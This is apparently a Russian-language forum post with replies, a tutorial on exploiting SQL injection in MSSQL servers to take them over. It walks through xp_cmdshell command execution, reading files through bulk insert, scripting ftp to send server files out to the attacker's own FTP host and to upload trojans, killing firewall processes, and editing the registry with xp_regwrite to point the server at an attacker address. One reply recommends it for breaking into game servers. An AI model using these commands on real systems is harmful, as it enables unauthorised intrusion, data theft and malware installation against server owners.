Статья о том, что можно выжать из найденной инъекции на сервере MSSQL. Как известно, язык mssql поддерживает несколько команд в одном запросе. Они разделены через ; Настоящий подарок для хакера! В отличие от mysql есть возможность ввести любую команду в БД сервера. В mssql есть куча хранимых системных процедур. Вот их краткий список - xp_enumgroups (группы из ОС Windows) xp_ntsec_enumdomains (список доменов сети) xp_enumdsn (источники данных ODBC) xp_loginconfig (инфо о пользователе) xp_logininfo (все пользователи, залогинившиеся на данный момент в системе) xp_msver (версия SQL сервера) xp_cmdshell <команда> (исполнение файла через cmd.exe) xp_servicecontrol <действие>,<служба> (запускает или останавливает указанные процесс) xp_terminate_process <идентификатор процесса> (закрытие процесса по его ProcessID) xp_startmail, xp_sendmail (обращение к потовому демону sendmail) sp_makewebtask (выполнение команды html вида) Нас будет интересовать в основном xp_cmdshell. Благодаря возможности вывода комманд в файл мы может увидеть результаты команды. Пример: exec master.dbo.xp_cmdshell 'dir "c:/" >> c:/boot.dll' Теперь в файле c:/boot.dll будет список директорий диска C. Немного о чтении файлов: CREATE TABLE temp_table (file2 char(5000) NOT NULL) - создаем таблицу куда будем читать. truncate table temp_table - чистим эту таблицу bulk insert temp_table from 'c:/boot.ini' - загружаем файл в таблицу SELECT * FROM temp_table - выдаем на экран содержимое Внимание: таким способом можно читать файлы только если есть возможность вывода информации на экран, в обратном случае смотрим ниже. После окончания работы с таблицей не забудьте DROP TABLE temp_table иначе возникнут пробемы у хозяев сервера при бэкапах. Очень часто возникает потребность в скачивании важных файлов с сервера (или наобот закачать троян на сервер). Нетривиальная задача - ведь у нас есть только командная строка и мы даже не всегда можем посмотреть результаты выполнения команды. Но команда ftp очень облегчает жизнь. Допустим 10.10.10.10 - наш фтп сервер, 123 - пользователь, 123 - пароль пользователя 123. Тогда выполнив группу команд exec master.dbo.xp_cmdshell 'copy c:\windows\system32\cmd.exe c:\cmd1.exe' - делаем копию cmd чтобы можно было выполнять @echo exec master.dbo.xp_cmdshell 'c:\cmd1.exe /c @echo open ftp.server.net > c:\ftp.ini' exec master.dbo.xp_cmdshell 'c:\cmd1.exe /c @echo 123 ftp >> c:\ftp.ini' exec master.dbo.xp_cmdshell 'c:\cmd1.exe /c @echo 123 ftp >> c:\ftp.ini' exec master.dbo.xp_cmdshell 'c:\cmd1.exe /c @echo put c:\boot.ini >> c:\ftp.ini' exec master.dbo.xp_cmdshell 'c:\cmd1.exe /c @echo bye >> c:\ftp.ini' это мы создали файлег c:/ftp.ini с содержанием open 10.10.10.10 123 123 put c:\boot.ini bye exec master.dbo.xp_cmdshell 'c:\cmd1.exe /c ftp -i -s:c:\ftp.ini' - грузим c:/boot.ini к себе на фтпшник. Совет: потренируйтесь сначала на своем домашнем компьютере, убедитесь что все работает. Разуемеется если на сайте есть сайт то можно сделать намного проще - copy c:/boot.ini c:/inetpub/wwwroot/123.ini и потом читать его из браузера как http://site.ru/123.ini Однако во первых нужно знать установочную директорию сайта, а во вторых загрузить трояна таким способом у вас не получится. Итак если вы вслепую делаете инъекцию (например union select... сделать не получилось или вы нашли инъекцию в какой-нибудь онлайт игре) вы все равно сможете узнать результаты выполнения комманд. Просто вместо c:/boot.ini из предыдущего примера отправляйте к себе на фтп файл с результатами команд cmd. Про блокирование фаервола: Самый простой (но паленый) способ это поглядеть список процессов при помощи exec master.dbo.xp_cmdshell 'tasklist >> c:/boot.dll', найти там процесс фаервола и убить его (к сожалению команды-аналога killl в unix не помню, поглядите в справочниках). Также у нас есть полный доступ к системному реестру винды при помощи xp_regwrite. Например разрешим mssql серверу соединяться по 80 порту: exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServ er\Client\ConnectTo','Hacke rSrvAlias','REG_SZ','DBMSSOCN,hackersip,80' Итак в случае если сервер настроен по умолчанию (под администратором в виндовсе и под sa в mssql), если нету ограничения на длину запроса и нету фильтрации спецсимволов мы можем захватить полный контроль над сервером. Могу сказать, что такие настройки встречаются очень часто. Таким образом, найдя инъекцию в игре или на сайте, можно скачать важную информацию с сервера или захватить над ним полный контроль. Моя первая статья, не судите строго. Писал по своему опыту, пришлось долго искать необходимую информацию. Может быть поможет кому-нибудь. Ссылки по теме: _http://www.marketer.ru/node/795/ _http://fenix.lamak.ru/Journal/XAKEP/2003/(8)56/050/2.htm Про отключение стандартного фаервола из командной строки windows где-то видел тему, но потерял ссылку (
Re:"Моя первая статья, не судите строго. Писал по своему опыту, пришлось долго искать необходимую информацию." - фуфло, это я читал где то точно, не буду спорить может ты из нескольких статей это вырезал, но не твое точно, даже сомневаюсь, что ты в курсе что есть такое хранимые процедуры.
фуфло эт у тебя... я эту статью искал дня два в инете. Давай попробуй, чтож ты протсо так орешь? А по делу. Это реальная статья, особенно очень пригодится при взломе игровых серверов